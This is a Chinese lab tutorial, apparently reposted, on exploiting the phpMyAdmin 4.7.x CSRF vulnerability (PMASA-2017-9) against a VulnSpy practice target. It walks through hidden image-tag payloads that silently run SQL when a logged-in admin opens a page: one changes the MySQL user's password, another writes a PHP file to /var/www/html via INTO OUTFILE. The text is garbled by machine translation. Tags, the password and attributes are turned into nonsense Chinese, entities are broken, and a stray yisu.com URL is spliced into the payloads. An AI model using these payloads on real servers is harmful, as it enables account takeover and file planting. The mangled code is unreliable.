这篇文章将为大家详细讲解有关怎样进行phpMyAdmin 4.7。x CSRF漏洞利用,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。
phpMyAdmin是个知名MySQL/MariaDB在线管理工具,phpMyAdmin团队在4.7.7版本中修复了一个危害严重的CSRF漏洞(pmasa - 2017 - 9),攻击者可以通过诱导管理员访问恶意页面,悄无声息地执行任意SQL语句。
我们将结合VulnSpy的在线phpMyAdmin环境来熟悉该漏洞的利用。
注:重启演示靶机即可重置靶机
1在线创建phpMyAdmin环境
点击VulnSpy提供的创建靶机地址(https://www.vsplate.com/?github=vulnspy/pmasa - 2017 - 9)
跳转到VSPlate后,直接点击<代码> 代码>去按钮,便会自动创建一个phpMyAdmin环境
打开<代码>演示地址> 代码的链接,我们的phpMyAdmin就创建完成了。
使用帐号,<代码>根> 代码,,密码,<代码>托尔> 代码,,登录phpMyAdmin。根据页面信息,我们可以发现当前phpMyAdmin的版本为4.7.6,刚好匹配存在漏洞的phpMyAdmin版本。
2 CSRF漏洞利用,修改当前数据库用户密码
我们知道,如果要利用CSRF来删除或修改数据库内容,通查情况下需要提前知道数据库名,表名和字段名。这样利用显得有点复杂,成功率也有限,因此本文我们将介绍几种较为通用的利用方式。
在MySQL中支持使用SQL语句来修改当前用户密码。比如将当前用户密码修改为<代码> [www.vulnspy.com] (http://www.vulnspy.com)> 代码,对应的SQL语句为:
SET passsword=密码(& # 39;www.vulnspy.com& # 39;);
利用演示
2.1模拟管理员登录phpMyAdmin的状态。
用帐号根密码托尔登录phpMyAdmin。
2.2创建含有恶意代码的页面。
文件名2.载荷。html(将下面的域名换成自己的靶机域名)
& lt; p> Hello World https://www.yisu.com/zixun/& lt; img  src=" http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password%20=%20PASSWORD (% 27 www.vulnspy.com % 27)“hljs-string "> "/>
2.3用浏览器打开含有恶意代码的文件2.载荷。html
回到上一步打开的phpMyAdmin页面,发现已自动退出,而且用原来的密码托尔已经无法登录。
2.4使用密码,www.vulnspy.com 登录成功,表明利用成功
3 CSRF漏洞利用,写文件
MySQL支持将查询结果写到文件当中,我们可以利用该特性来写入PHP文件。比如将代码<代码> & lt; ?php phpinfo(); ?祝辞> 代码写到文件<代码>/var/www/html/test.php> 代码中,对应的SQL语句为:
select & # 39; & lt; ? php phpinfo(); ?祝辞& # 39;,into outfile & # 39;/var/www/html/test.php& # 39;;
利用演示
3.1将上一个演示步骤相同,只需将2.2中的文件代码改成:
& lt; p> Hello World & lt; https://www.yisu.com/zixun/img src=" http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql表=user&sql_query=选择' <?php phpinfo (); ?>到输出文件的/var/www/html/test.php’”;“风格=毕允?没有;/>
3.2用浏览器打开含有恶意代码的文件
3.3访问测试。php